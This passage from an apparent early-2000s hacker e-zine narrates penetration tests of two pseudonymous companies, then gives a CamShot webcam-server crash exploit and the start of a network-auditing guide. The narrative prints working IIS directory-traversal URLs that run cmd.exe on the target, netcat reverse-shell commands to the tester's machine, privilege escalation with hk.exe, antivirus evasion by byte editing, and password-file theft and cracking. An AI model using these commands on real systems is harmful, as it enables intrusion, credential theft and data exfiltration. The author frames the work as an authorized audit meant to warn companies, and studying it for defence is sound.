  2146. http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+mget+*.exe>>ftp.txt
  2147. http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+bye>>ftp.txt
  2148.  
  2149. I check out my script with my web browser one last time to make sure there I
  2150. made no mistake, and then I launch the FTP session, assuming that the firewall
  2151. permits this kind of traffic. And it does.
  2152.  
  2153. http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+ftp+-s:ftp.txt
  2154.  
  2155. Once this is done, I will use netcat to have a command prompt on the webserver.
  2156. Netcat is a very useful networking tool that you can use to communicate via any
  2157. port, and spawn a shell prompt. nc -h will give you these options:
  2158.  
  2159.  
  2160. C:\nc11nt>nc -h
  2161. [v1.10 NT]
  2162. connect to somewhere:   nc [-options] hostname port[s] [ports] ...
  2163. listen for inbound:     nc -l -p port [options] [hostname] [port]
  2164. options:
  2165.         -d              detach from console, stealth mode
  2166.  
  2167.         -e prog         inbound program to exec [dangerous!!]
  2168.         -g gateway      source-routing hop point[s], up to 8
  2169.         -G num          source-routing pointer: 4, 8, 12, ...
  2170.         -h              this cruft
  2171.         -i secs         delay interval for lines sent, ports scanned
  2172.         -l              listen mode, for inbound connects
  2173.         -L              listen harder, re-listen on socket close
  2174.         -n              numeric-only IP addresses, no DNS
  2175.         -o file         hex dump of traffic
  2176.         -p port         local port number
  2177.         -r              randomize local and remote ports
  2178.         -s addr         local source address
  2179.         -t              answer TELNET negotiation
  2180.         -u              UDP mode
  2181.         -v              verbose [use twice to be more verbose]
  2182.         -w secs         timeout for connects and final net reads
  2183.         -z              zero-I/O mode [used for scanning]
  2184. port numbers can be individual or ranges: m-n [inclusive]
  2185.  
  2186.  
  2187.  
  2188. So I will launch netcat in listening mode on port 53 (also used by DNS, allowed
  2189. by the firewall) on my laptop, and launch a netcat connection bound to a command
  2190. prompt from the webserver to my laptop (using the brwoser once again).
  2191.  
  2192. In my DOS box 
  2193. nc -l -p 53 
  2194. and it hangs there... 
  2195.  
  2196. http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+nc+-d+-e+cmd.exe+my.IP.address.ADSL+53 
  2197.  
  2198. And the hung DOS box gets: 
  2199.  
  2200.  
  2201. Microsoft(R) Windows NT(TM)
  2202.    (C)Copyright 1985-1996 Microsoft Corp.
  2203.  
  2204. C:\Intetpub\wwwroot\scripts>_
  2205.  
  2206.  
  2207.  
  2208. Voilα, I have a prompt. I use the whoami command from the NT Ressource kit, to
  2209. find out with disappointment that I am only INET_IUSR/Anonymous, the anonymous
  2210. Internet user account. So the web server doesn't run on the Administrator
  2211. account. That means that I still can't reach the NT password file (also called
  2212. the SAM database) because of the restricted access. No problem, I think, I'll
  2213. just initiate another telnet connection using another port (23 Telnet, why not?)
  2214. by using the hk.exe tool. This tool uses a vulnerability involving an
  2215. undocumented API call (NT_Impersonate_thread or something like that) that lets a
  2216. thread (a part of a process running in memory) get the token (a security
  2217. attribute that defines what security level a thread can run, user space or
  2218. kernel space) of a kernel thread (LSASS or equivalent). To use this tool, you
  2219. simply type hk followed by any command you would want to run if you had NT
  2220. AUTHORITY/SYSTEM level privileges (this is above the Administrator account
  2221. privileges). So I t
  2222.  
  2223. hk nc -d -e cmd.exe my.IP.address.ADSL 23 Bad command or file name
  2224.  
  2225. What the?!? I make a dir command, and true enough I don't see any file named
  2226. hk.exe. Did I forget to download it before? I make another FTP download (using
  2227. the script again because interactive FTP sessions over a netcat connection
  2228. doesn't work too well), and sure enough I see the file being downloaded from my
  2229. laptop. I make a dir command again, and the file still isn't there. So I go to
  2230. C:\ and make a dir hk.exe /s, and what do you know? It's in the C:\Program
  2231. Files\Antivyrtec Associates\Antivirus\Quarantine\ folder. Damn, the stupid
  2232. antivirus caught my file. How can I get root without it?
  2233.  
  2234. Most antivirus products work by matching byte streams of known viruses and other
  2235. malware to the programs and files your computer uses. If a match is found, then
  2236. the file is most probably of dangerous nature, and the antivirus prevents the
  2237. user from opening it. Ploymorphic viruses uses a flaw in this strategy by
  2238. modifying themselves every time, making it difficult to identify a reliable byte
  2239. stream in the virus code that can be used to clearly identify it. Can I also use
  2240. this flaw to my advantadge? Of course. Actually, that day, I have lost a lot of
  2241. respect towards antivirus products seeing how easily it was to circumvent it.
  2242.  
  2243. Using a hex editor (I don't remember which one, but ther all do pretty much the
  2244. same), I opened hk.exe. What I now see is all the binary code of the executable,
  2245. shown in an hexadecimal representation. On the right hand side, we see an ASCII
  2246. representation of each byte of code. Since this is compiled code, it is pretty
  2247. hard to modify anything in there without screwing up the program and making it
  2248. useless. Especially since we don't know what bit pattern the antivirus software
  2249. looks for, and that I know nothing in reverse-engineering. The only thing
  2250. editable in the program is a small section where we can actually read the
  2251. message displayed by hk.exe when it successfully executes (something like "Your
  2252. wish is my command, master"). What the heck, let's change that and see what
  2253. happens. So I replace the string with XXXX XXXX XX XX XXXXXXXX XXXXXX, and
  2254. rename the file hk2.exe (which is why I don't remember the exact string, now I
  2255. only care to use hk2.exe). A quick FTP download later, and I make a dir comman
  2256.  
  2257. So anyway, I open another DOS box on my machine and I initiate a new listening
  2258. connection on my laptop
  2259.  
  2260. nc -l -p 23
  2261.  
  2262. and I type the command
  2263.  
  2264. hk2 nc -d -e cmd.exe my.IP.address.ADSL 23 on the active netcat on the webserver
  2265. and we get:
  2266.  
  2267. hk2 nc -d -e cmd.exe my.IP.address.ADSL 23
  2268.  
  2269. lsass pid & tid are: 50 - 53
  2270.  
  2271. Launching line was: nc -d -e cmd.exe my.IP.address.ADSL 23
  2272.  
  2273. XXXX XXXX XX XX XXXXXXXX XXXXXXNtImpersonateClientOfPort suceeded
  2274.  
  2275.  
  2276. (On the listening DOS box)
  2277. Microsoft(R) Windows NT(TM)
  2278.    (C)Copyright 1985-1996 Microsoft Corp.
  2279.  
  2280. C:\Intetpub\wwwroot\scripts>
  2281.  
  2282. whoami
  2283. NT AUTHORITY/SYSTEM
  2284.  
  2285.  
  2286.  
  2287. At this point, I see no reason to keep the first netcat connection, so I kill
  2288. it. I am now in complete control of the web server and I can do whatever I want
  2289. on it. I start to upload the SAM database on my laptop and I start cracking it
  2290. with l0phtcrack, using a dictionnary attack first, then a brute force attack to
  2291. uncover the few passwords left, if any. While the passwords cracks, I continue
  2292. my investigations of my newly owned machine. I issue the ipconfig command, and I
  2293. see the IP addresses of the two network interface cards installed on the
  2294. machine. The IP address on one of the NIC is effectively the public IP of the
  2295. web server. The other one bears an internal IP address, and a few pings and net
  2296. commands later, I have a complete list of the NT Domains, PDC, BDC, Servers. I
  2297. could talk to the whole internal network! Using some of the usernames/passwords
  2298. that I cracked, I could go in any domain and from there connect to any
  2299. workstation. With net accounts, I saw some administrative accounts that I ha
  2300.  
  2301. As I hopped from one workstation to another, from server to server, I kept
  2302. making dir c: and dir d: images, downloaded files in various interesting folders
  2303. (marketing, HR, finance, IT, production, contracts, budget, etc), along with a
  2304. couple Outlook mailboxes, which tells me that I could probably use the flaws in
  2305. this software to send a custom virus to take control of a machine, but why
  2306. bother? I already had access to everything: network maps, list of software
  2307. approved by IT, standard configuration of a desktop, resumes from applicants,
  2308. budget of last and current year of various departments, production status
  2309. reports, finance reports, company acquisition plans and contracts, full employee
  2310. lists, with phone number, e-mails and salaries, layoff severance documents, full
  2311. calendar appointments of some management people, along with their mailboxes,
  2312. which also showed up some interesting things. I will always remember this e-mail
  2313. I read that the guy I hacked into received from one of his friends. In the
  2314. e-mail,
  2315.  
  2316. We were about to run out of time, since my three days were almost run out. Let's
  2317. not forget that I had to write a report after that, and that the customer only
  2318. paid for such amount of time. But there was still a little piece of the network
  2319. that I couldn't get access to. It was refusing any connection attempt from any
  2320. domain that I already had control of. That was a separate NT domain, on its own
  2321. IP class C network, with very restricted access, probably accessed only by the
  2322. board of directors if I rely on the domain name. No password that proved useful
  2323. before would work. A port scan showed me that there was a web server on this
  2324. network, and I knew it was a NT server, and most probably running IIS 4 as well.
  2325. But how can I launch a web request from a DOS prompt in order to hack the server
  2326. like I did the first one? I could probably make a tool someday, but I definetely
  2327. don't have this kind of time on my hands right now. I see the gold, I want the
  2328. gold (even though I have plenty already), and I am willin
  2329.  
  2330. Winvnc works a bit like nc, but instead of giving a simple command prompt, it
  2331. give full access to the graphical user interface (GUI) as if you were sitting in
  2332. front of the machine, the same way as PCAnywhere does. This have the side effect
  2333. that a person sitting in front of the machine will see all your actions, which
  2334. means that you have been spotted.
  2335.  
  2336. In my case, I had nothing to lose, so the plan is to download Winvmc on the
  2337. machine I currently own, initiate the GUI connection from there, and then use
  2338. the browser installed on the web server to launch a similar attack to the
  2339. intranet server using the directory traversal vulnerability. From there, I hope
  2340. to be able to find some usernames and passwords that I can use to gain access to
  2341. the protected machines in the same fashion as to what I had done so far. So I
  2342. initiate the Winvnc session, and surprise, I see right in the middle of the
  2343. screen two pop-up warnings from the antivirus software, generated from the two
  2344. unsuccessful downloads of hk.exe, 2 days ago. So I click OK to remove any visual
  2345. evidence of my presence, and I proceed to clean my presence a bit, deleting all
  2346. the stuff that I won't need anymore. I also notice some of the NT Res kit that I
  2347. used in another folder that was not mine. That made me wonder if it was the
  2348. admin who conveniently installed it there for anyone to use, of if it was the
  2349.  
  2350. I was about to launch IE in order to finish my attack quickly and return to the
  2351. stealthier DOS command prompt that a second surprise happens: Notepad opens up
  2352. with a message saying "who r u?". I knew I could be spotted, and I have been
  2353. spotted. The spelling of the message makes me wonder if I am dealing with a IT
  2354. professional or a script kiddie here, but a quick look at the processes running
  2355. on the machine (ps.exe from the NT Res Kit) shows me that he is connected via a
  2356. PCAnywhere session, so it's probably a tech support, but he's not in front of
  2357. the machine. So I write "God" in the notepad message, give him about 5 seconds
  2358. to read my reply, and then I kill his connection (kill.exe). Then I quickly
  2359. erased the rest of my files on the machine, and killed my session while I was
  2360. laughing hard with a colleague beside me.
  2361.  
  2362. Too bad that I missed that last vault, and that I have been spotted, but if I
  2363. wasn't only a guy doing his job, working 9-5 because I also have a life, and
  2364. under an artificial schedule, I would have cracked it, undetected. A dedicated
  2365. corporate spy or malicious hacker would have done this at night, and would have
  2366. been completely undetected for as long as he wants.
  2367.  
  2368. The second victim
  2369.  
  2370. Pseudonym : Trust-us e-commerce inc.  Type of company : e-commerce company,
  2371. implements B2B and B2C solutions for businesses Time allowed to hack : 3
  2372. man/days Goal : penetrate the network as far as possible and get evidence of
  2373. intrusion
  2374.  
  2375. So my first impression of a big corporate network (from my previous work
  2376. experience at a telecommunications company, see Virus protection in a Microsoft
  2377. Windows network, or How to stand a chance) from the security point of view
  2378. proved to be true with my successful and easy network intrusion I had done for
  2379. XYZ Media Publishing Corporation. I was anxious to see how I would fare against
  2380. an e-commerce company. I was curious to see if they really cared about security,
  2381. given their area of expertise.
  2382.  
  2383. So the hack started pretty much the same way as the first one: DNS lookups,
  2384. whois, portscan, etc. It turns out that there's about 5 or 6 machines reachable
  2385. via the Internet. 2 *nix DNS servers, 1 Exchange mail server, and a couple IIS
  2386. machines. These machines are all firewalled and only allow very specific traffic
  2387. : http, https, DNS, SMTP. But remember that if one of these services is
  2388. vulnerable, it can be exploited and the firewall won't be effective at blocking
  2389. the attack. I issue a whisker scan on the webservers to see if there's any known
  2390. vulnerabilities on the web server itself, and in the cgi programs as well. The
  2391. machines turns out to be pretty secure, even if they are NT boxes. The server
  2392. appears to be patched up to date, and non-necessary services have been removed
  2393. from IIS (such as idq requests, asp pages, default sample pages). So I can't use
  2394. the directory traversal vulnerability on this one. I try to screw up with some
  2395. invalid requests in the cgi programs, trying to see if I can provoke
  2396.  
  2397. We had received some new toys a couple of weeks before, and we couldn't wait to
  2398. try them in the field. We had a wireless hub and a pair of PCMCIA wireless
  2399. network cards. I don't know how much this equipment costs, but it shouldn't run
  2400. above 2-3 k$, probably less. Not exactly cheap, but not unnafordable to
  2401. individuals. So we decided to attempt a physical intrusion in their offices and
  2402. plant the wireless hub on their internal network and see what happens next. We
  2403. were three persons to do this operation, but it could have been achieved by only
  2404. a single person.
  2405.  
  2406. We thought a bit about doing a masquerade and pretend that we were from the
  2407. phone company or something, all along with the uniforms and even a line tester
  2408. that makes bip-bip sounds that are sure to convince any non-technical person
  2409. unfamiliar to this kind of equipment. We even had the floor plan, that my boss
  2410. asked to the facilities management guy (those who manage building services). He
  2411. gave the plans to my boss without asking any ID or whatever, my boss simply told
  2412. him that he was working for Trut-us e-commerce inc, and that was it! My boss was
  2413. even left alone in the facilities guy office for about half an hour, even time
  2414. to give him the opportunity to take a peek or two, or steal one of the uniforms
  2415. hanging by the door if he wanted to.
  2416.  
  2417. But instead, we chose a simpler course; simply walk in dressed casual (average
  2418. employee age at Trus-ut is about 25-30) and pretend to belong there. The company
  2419. is quite new, and they are hiring new staff, so it's quite normal for a place
  2420. like this to see new faces. So the plan was to have one person walk in the
  2421. offices, avoiding the main entrance of the offices if possible, to avoid the
  2422. receptionist desk, and put the wireless hub on the network, in a free LAN jack
  2423. in the photocopier room (as we could see from the floor plan). And to collect
  2424. any valuable data the onsite visit can provide. In the meantime, another
  2425. colleague would be sitting in a toilet stall with his laptop equipped with the
  2426. wireless network card and try to get access to the network. If he proved
  2427. successful, he would iniate a netcat connection from one of their machines to my
  2428. laptop, and then leave the premises. As for me, I will be at our offices, hooked
  2429. up on the ADSL link, and waiting for the netcat connection to come to me. Once I
  2430. g
  2431.  
  2432. And that's exactly what happened! My first colleague got in from the door beside
  2433. the staircases, going inside with other people that were coming back from a
  2434. cigarette break. He went to the photocopier room, and plugged the wireless hub
  2435. to the network, and hid it behind some boxes. After that, he walked across in
  2436. the offices, a lot of cubicles being empty, as the company had plans for growth.
  2437. He said "Hi!" to a couple of persons who were having a conversation. He found an
  2438. employee list on a desk, with all the phone numbers and positions in the
  2439. company. He went back to the photocopier room, and made a copy. He also looked
  2440. for other stuff, but it was hard to figure out what paper documents are about
  2441. without looking suspicious. So after half an hour, he simply took the hub back
  2442. with him and left the premises.
  2443.  
  2444. Meanwhile, colleague #2 is in the bathroom stall with his laptop. He waits about
  2445. 5 minutes to give #1 enough time to plant the bug. Then he boots up his machine
  2446. and he automatically gets an IP address from the internal network DHCP server.
  2447. That's a good start! It takes him no time to take control of an internal web
  2448. server to launch the netcat connection to me (with full SYSTEM/NT_AUTHORITY
  2449. privileges, of course). While I put my scheduled jobs on this machine to keep a
  2450. point of entry, he goes on an exploration tour of the rest of the network, stops
  2451. in a couple workstations to download some files, and leaves after 15 minutes,
  2452. after making sure with me that everything was under control on my side (using a
  2453. text file to send messages to each other).
  2454.  
  2455. As for me, I started doing the usual stuff, downloading the server's SAM file,
  2456. cracking it, exploring the contents of some workstations, visiting the servers
  2457. and the PDC/BDC getting these SAMs also. I downloaded some of their website
  2458. source code, looked a test systems, and the customer database, etc. I could see
  2459. that there were firewalls between some of the internal network segments, but all
  2460. netbios ports were allowed, since these machines were all part of the same NT
  2461. domain. I accidentally killed my session, but it came back to me exactly when I
  2462. expected it, so I could continue without any problem. At the end of the day, our
  2463. mission was done.
  2464.  
  2465. Again, we were three persons to implement this attack, but this could be done by
  2466. a single person. We only had one day left to perform the intrusion, so we had to
  2467. be efficient and well prepared. But a single well prepared person, having no
  2468. other schedule than his own, could have easily walked in the offices, plant the
  2469. hub on the network, go in the bathroom, schedule hk2 netcat sessions at specific
  2470. times, and go home and simply wait for the connections to initiate. Then he is
  2471. free to do all he wants.
  2472.  
  2473. The autopsy of the two hacks
  2474.  
  2475. My goal with this paper is not to give a hacking cookbook to script kiddies so
  2476. they can screw up big corporations real big instead of just defacing their
  2477. websites. Neither is it to promote network intrusions. My goal is to give a
  2478. reality check to the IT industry, and to the companies that employ them, about
  2479. the situation regarding network security. To show how easy it is, and the impact
  2480. on a business a security incident like this could cause. Having all the
  2481. information that is available, a malicious person have limitations restricted
  2482. only to his imagination (BTW, blackmailing is very unimaginative). My goal with
  2483. this paper is also to outline why these hacks were so easily successful, in
  2484. order to understand why this could happen in the first place. Only then will we
  2485. be able to define corrective actions. So it is in this chapter that we will make
  2486. the autopsy of these hacks, and find out what problems these companies, and many
  2487. others, are facing.
  2488.  
  2489. In the case of XYZ Media Publishing Corporation, the problems are numerous, and
  2490. do not simply involve technology. First of all, I made a lot of mistakes when I
  2491. hacked this machine (the webserver), learning curve and all... For example, I
  2492. did not erase the evidence of my intrusion in the IIS log files. A kiddie would
  2493. probably have tought to erase to whole file, but an experienced intruder would
  2494. have only deleted the entries belonging to him, to leave has little trace as
  2495. possible. Not that it mattered in this case, because nobody looked at the log
  2496. files. They only checked when they received my report, and they were astonished
  2497. at how much noise I made that went undetected. Worse that that, there was 2
  2498. visual antivirus pop-ups (hk.exe) on the server's screen showing for 2 days
  2499. without anybody noticing it, or actually they saw it, but didn't bother to care
  2500. about it! But wait, there's more: the tech that spotted us while we were in a
  2501. Winvnc session didn't even bother to report the incident to anybody! With
  2502.  
  2503. Another problem is the lack of experience of their IT staff. It is well known
  2504. that these big corporations, in order to be cost-efficient (i.e. as cheap as
  2505. possible, to keep shareholders happy), centralize their support to reduce costs,
  2506. and doing so will hire those who costs less, who happens to be the less
  2507. experienced on the market. I took a good look at the resumes of their staff, and
  2508. it tends to confirm my theory. Most of them didn't even have a college degree,
  2509. even less a university degree. They had a computer support course and a MCSE
  2510. from a specialized school, in a word, they were green. These people knows only
  2511. as far as what they have been shown, and will click were they learned to click,
  2512. without any understanding of the concepts or implications of what they have just
  2513. done. This is a direct effect of the big boom in the IT industry during the
  2514. 90's. The demand was too high compared to the offer, so the industry had to
  2515. generate more workforce, and doing so rushed out of schools diplomed computer i
  2516.  
  2517. This leads to the third problem, directly generated by the precedent one, which
  2518. is the presence of unpatched, highly vulnerable servers on the Internet. And
  2519. their problem is about 40-fold, since XYZ Media Publishing Corporation is really
  2520. about 40 smaller companies, all owned by XYZ Media Publishing Corporation, and
  2521. each of these companies have the same problem, and all requires urgent security
  2522. measures. $$$
  2523.  
  2524. The fourth problem, in the same vein, is a really bad network architecture. XYZ
  2525. Media Publishing Corporation cared enough about its network to at least put
  2526. firewalls at each internet entry points. All serious firewall products include
  2527. the possibility to have a DMZ, which is a separated part of your network,
  2528. designed to receive the public access machines like a web server or a mail
  2529. server. The idea is to keep these machines separated from the rest of your
  2530. internal network. Since these servers are exposed to the Internet, than means
  2531. that anyone can potentially compromise the server. The role of the firewall is
  2532. to deny all access from the DMZ machines to the internal network, because these
  2533. machines cannot be trusted and a connection initiated from one of these machines
  2534. means that the machine as most probably been cracked. That way, you protect your
  2535. internal network from Internet exposure, have your pulic servers, and make sure
  2536. that the servers can't be used to access the internal network. In the case of
  2537.  
  2538. The fifth problem afflicted both companies, and is spread everywhere in the
  2539. networked corporate world, and it's the fact that the internal network, and
  2540. especially the workstations, are completely unprotected. Many of the PCs have
  2541. open shares, not even protected by a password (which could be broken anyway,
  2542. especially on a Win 9x machine). Passwords are weak and easily broken. ACLs are
  2543. rarely implemented on NT workstations, are implemented in the data portion of
  2544. the servers (to prevent people to access other people's files), but not on the
  2545. system portion, which means that anyone can grab the passwork file and crack it
  2546. later. Antivirus are often out of date, even if auto-update features are now a
  2547. common thing, and even if they were up to date, they can be easily circumvented.
  2548. Let's just say that if your only protection is an antivirus product, then you
  2549. shouldn't even bother to install it.
  2550.  
  2551. The sixth problem is the one that caught Trust-us e-commerce inc. pants down.
  2552. Being an e-commerce company, they were serious enough about it to take good care
  2553. of their systems. The ones exposed to Internet, that is. So besides having their
  2554. internal systems completely open like XYZ Media Publishing Corporation, their
  2555. physical security was inexistant. Beginning with the guy who manages the
  2556. building who gives us the floor plans! He even offered to give us the plan of
  2557. other floors. Then, it was easy to go inside the offices without being
  2558. challenged by anyone, forcing the intruder to think quick and bullshit his way
  2559. out, with the chance that he makes a mistake and give himself away. The floor
  2560. had many access doors besides the main entrance, guarded by the secretary.
  2561. There's no badge or ID or anything to differentiate an employee from an
  2562. outsider. That was their weak spot. Ironically, I would say that XYZ Media
  2563. Publishing Corporation was more protected in terms of physical security, but it
  2564. could still be
  2565.  
  2566. Then, there is the little security awareness from corporations high management.
  2567. The finance director of XYZ Media Publishing Corporation was all shocked to see
  2568. the results of my intrusion attempt, as he firmly believed that their network
  2569. secure. Then, in true beancounter style, he complained about the amount of money
  2570. they paid for the firewalls, that proved to be useless after all. But this guys
  2571. only understands dollars, not technology. Is it possible to achieve a secure
  2572. computing environment connected to the Internet without firewalls? Absolutely
  2573. no, of course! But are they sufficient in order to securise the computing
  2574. environment only by themselves? The answer is no again. But he thought that by
  2575. simply buying an expensive band-aid, that would solve all their security
  2576. problems. Which leads me to the last problem I can identify in this autopsy.
  2577.  
  2578. Pretty much like the IT industry growth of the 90's and the Y2K rush that later
  2579. mutated in e-commerce, the computer security industry is also being the victim
  2580. of a "gold rush effect". Since the enormous size of the vulnerable computing
  2581. base in corporate IT, it is not hard to see a high revenue potential for any
  2582. skilled business man. It is not rare then to see small professional security
  2583. firms being purchased and merged with bigger IT companies, that were mostly in
  2584. the MCSE business before that (what a surprise). Instead of seeing the knowledge
  2585. of the security firm being applied the the MCSE shop's procedures, in order to
  2586. increase the value of the services they provide, and thus doing better than the
  2587. competition (which should get you to increase your market share and revenues),
  2588. they want to keep the security department from bashing too much on Microsoft,
  2589. because they are a business partner, and it isn't a good thing to bitch against
  2590. a partner, because it might piss him off. Also, the MCSEs didn't appear t
  2591.  
  2592. Conclusion
  2593.  
  2594. The cases I have covered here are real life cases, nothing have been added for
  2595. dramatic effects. I know that it is not all networks that are this vulnerable,
  2596. but let's be serious, secured networks are the exception, not the norm. The
  2597. norm, it is what is explained in this paper. This is even worse than a worm that
  2598. walks across webserver to webserver (although Code Red II made it interesting by
  2599. backdooring the servers it infected in order to make it even easier than what is
  2600. shown in this paper to hack the machines) or an e-mail virus that send files
  2601. out. These problems are also serious enough to take care of, but it's only the
  2602. tip of the iceberg.
  2603.  
  2604. Now, with all the desinformation going on, attempt by companies to shut down
  2605. free speech concerning computer security research and related topics, up to the
  2606. point of arresting a russian programmer this summer for writing a "circumvention
  2607. decice", and all the other abuses of the DMCA, I wonder what will happen to me
  2608. and this paper. Will I be arrested for showing out how to "circumvent a security
  2609. mecanism" by fooling the antivirus? This may seems like a dumb and ridiculous
  2610. joke pointed out to the spooks out there, but to tell you frankly, I see hackers
  2611. as being the target of the new witch hunt of the 2000's. It is sad, because they
  2612. are the very same people who built this wonderful network that is Internet, and
  2613. they are the people who can most contribute to its securing, by doing research
  2614. and sharing information.
  2615.  
  2616. But the thing is, and it should be obvious by now to the reader, that the
  2617. systems out there are massively and highly unsecure, and stopping people talking
  2618. about these issues, and keeping the public in ignorance by putting fear into
  2619. them fueled by mass-medias hysteria is not gonna help. In order to solve these
  2620. issues, priorities will have to be made, and those who choose the right
  2621. priorities are probably those who are gonna win in the long run. In the
  2622. meantime, anything can happen.
  2623.  
  2624. Appendix A. Ressources
  2625.  
  2626. BUGTRAQ www.securityfocus.com Big security site and host of the Bugtraq mailing
  2627. list
  2628.  
  2629. Britney's NT hack guide http://www.interphaze.org/bits/britneysnthackguide.html
  2630. Guide to hacking NT and IIS
  2631.  
  2632. Rain Forrest Puppy http://www.wiretrip.net/rfp/2/index.asp Home page of Rain
  2633. Forrest Puppy, discoverer of the Unicode directory traversal vulnerability, and
  2634. author of Whisker
  2635.  
  2636. Astalavista http://astalavista.box.sk/ Search engine for security related
  2637. websites, tools and articles
  2638.  
  2639. Google www.google.com Web search engine, useful to look for hard-to-find stuff
  2640. like hk.exe
  2641.  
  2642.  
  2643.  
  2644.  
  2645. ===[ Remote GET Buffer Overflow Vulnerability in CamShot WebCam HTTP ]===
  2646.                                                                               
  2647.                               --- by Lucid ---
  2648.                                                                                
  2649.  
  2650. Intro So im sure you might have seen this little trick.. but if you havent, its
  2651. a rather funny way to screw with a server running CamShot WebCam HTTP Server
  2652. v2.5. As always, this is for you information only, hacking is bad, it make mes
  2653. cry... im starting to cry thinking about it now.. see what you've done??!
  2654.  
  2655. Affects As far as I know, for sure it affects Win9x, I am yet to find an NT, ME,
  2656. or 2000 box running it.
  2657.  
  2658. The Code
  2659.  
  2660. [lucid@localhost]$ telnet www.test.com 80 Trying test.com...  Connected to
  2661. www.test.com Escape character is '^]'.  GET (buffer) HTTP/1.1 (enter) (enter)
  2662.  
  2663. Why (buffer) is about 2000 charicters, requesting this cuases the server to over
  2664. flow itself, and in time, crashing the software, ( once or twice on my test
  2665. machine it killed the system as well ).
  2666.  
  2667. What They See CAMSHOT caused an invalid page fault in module at 0000:61616161. 
  2668. Registers:  EAX=3D0069fa74 CS=3D017f EIP=3D61616161 EFLGS=3D00010246
  2669. EBX=3D0069fa74 SS=3D0187 ESP=3D005a0038 EBP=3D005a0058 ECX=3D005a00dc DS=3D0187
  2670. ESI=3D816238f4 FS=3D33ff EDX=3Dbff76855 ES=3D0187 EDI=3D005a0104 GS=3D0000 Bytes
  2671. at CS:EIP:
  2672.  
  2673. Stack dump:  bff76849 005a0104 0069fa74 005a0120 005a00dc 005a0210 bff76855
  2674. 0069fa74 005a00ec bff87fe9 005a0104 0069fa74 005a0120 005a00dc 61616161 005a02c8
  2675.  
  2676. Closing Yes its a lame little exploit bu its fnny none the less. Again only use
  2677. this on yourself would wanna make me cry again.
  2678.  
  2679. http://www.Phreak2000.com
  2680.  
  2681.  
  2682.  
  2683.  
  2684. ============[ An Approach to Systematic Network Auditing ]==============
  2685.  
  2686.                               --- by Mixer ---
  2687.  
  2688.  
  2689. In the past few years, people have learned that a well concepted network
  2690. installation done by administrators with average knowledge of security could
  2691. still very often be compromised due to the large amount of possibilities to
  2692. attack and discovered vulnerabilities an intruder nowadays has at his disposal.
  2693. This is the cause why recently security auditing and penetration testing has
  2694. become popular for big companies, security-aware individuals and of course the
  2695. security industry. Network auditing, or penetration tests can be seen as a
  2696. systematic attempt to gain access to a network by discovering all points of
  2697. access to it, and then analyzing those points for any known vulnerabilities,
  2698. which a real intruder could use to gain further access. However, many companies
  2699. are performing this kind of analysis in a manner, which is really not sufficient
  2700. and systematic enough to spot all possible vulnerabilities. So, here is one
  2701. possible approach, in a nutshell, that I would take to secure a network
  2702. systematically.
  2703.  
  2704. Starting off with a secure network
  2705.  
  2706. The main pre-requirement for having a secure network is to start off with
  2707. installations of which you can be sure that no security intrusion has previously
  2708. happened. Imagine a big company severely securing their resources, only to find
  2709. they have been compromised a year before, and the attacker has changed the
  2710. system kernel so he doesn't require any vulnerable program at all to gain access
  2711. anymore. There hasn't even to be a permanently open tcp or udp port; if the
  2712. intruder is clever, he had reprogrammed the system to watch for raw data
  2713. containing secret activation code, and then give backdoor access for a very
  2714. short period of time, that cannot be detected unless one knows the correct code.
  2715. Take a look at the Q [1] remote shell, if you need an example.
  2716.  
  2717. So, first of all, (re-) install your operating systems, making sure that there
  2718. is are no binary executables left from old installations. Importing other kind
  2719. of data from other systems generally creates no security risk. If you are
  2720. open-minded enough to take an advice on what OS to use, then let me suggest
  2721. anything except Windows NT. Systems like HPUX/AIX/IRIX are no good, either,
  2722. because they are not open source. The problem is that you CANNOT trust systems
  2723. that come without their source code to be secure at all. The vulnerabilities
  2724. which exist in the software and kernel of commercial non- open-source systems
  2725. are not worse than those in other systems, but they EXIST, and it is very hard
  2726. for the security community to identify them, and it takes alot more time. For an
  2727. example, SunOS / Solaris was always said to be very secure, until recently its
  2728. creators decided to make the source code public (which was a good idea in
  2729. long-time measures). Quickly, a huge lot of vulnerabilities that couldn't be
  2730. detected before were found in Solaris, and some people still consider it to be
  2731. extraordinary secure... this was the right step on becoming a secure operating
  2732. system, but it will surely take a long time until virtually all vulnerabilities
  2733. have been spotted.
  2734.  
  2735. If you want a secure operating system, install a BSD derivate, such as OpenBSD.
  2736. You can also use Solaris, or Linux if you have sufficient knowledge of securing
  2737. it. The most problematic thing is, that it has become very easy to install even
  2738. a complex UNIX system, and that many people only do enough to get it up and
  2739. running. You should get a system that is at least one year old, or older, to
  2740. make sure that most of the vulnerabilities present in the system have already
  2741. been spotted - this is important, the people who always install the newest
  2742. version of their systems, one day after they come out, put their security at
  2743. risk worse than people who run outdated, but well-patched systems. Secondly, go
  2744. to your vendors web site and inform yourself about which software packages you
  2745. should update. Regarding security purposes, it is only important to update
  2746. packages that are suid root, always run as root, and servers that you generally
  2747. need and run.
  2748.  
  2749. Next, disable any servers that run by default and that you won't explicitly
  2750. require on your network! Browse through your files, looking for suid binaries:
  2751. find / \( -perm -4000 -o -perm -2000 ! -type d \) -exec ls -ldb {} \; Remove the
  2752. suid flag (chmod 755 each binary) on any of the programs that don't need to be
  2753. run by non-root users / scripts with root privileges. Now you need to examine
  2754. your system and server configuration, most of it is in the /etc directory. Get
  2755. to know your operating systems security mechanisms, and also recompile your
  2756. kernel. You should have basic knowledge of every server / daemon process that
  2757. you run on your machines, and check the configuration for it. Once you have done
  2758. all this, you can consider to have a system with basic stability and security
  2759. present. Also consider doing this on one system and copying your partitions to
  2760. other systems to save yourself some work.
  2761.  
  2762. One more recommended thing is to block ICMP at your border router(s), to be safe
  2763. from ICMP 'firewalking' and generic denial of service. To prevent 'smurf' and
  2764. other flood attacks, specifically make sure your broadcast addresses do not
  2765. reply to ICMP (IPs ending in .0 and .255), and (if you use IOS or something
  2766. similar), make your routers detect 'flood' attacks and go into high-bandwidth or
  2767. alternative-route modes if they detect a certain amount of packets in a
  2768. specified amount of time. Connection-oriented routing can also be very useful.
  2769. Finally, deny all other known and unknown IP protocols besides TCP, UDP and
  2770. ICMP, in case you don't need them.
  2771.  
  2772. Creating reliable audit trails
  2773.  
  2774. One simple precaution that everyone should take is to make sure that audit
  2775. trails (in other words: logs) are present, and one instance of them cannot be
  2776. altered. Compile a list of servers that you don't (!) and never will run on any
  2777. of the machines on your network, and instruct your border routers that connect
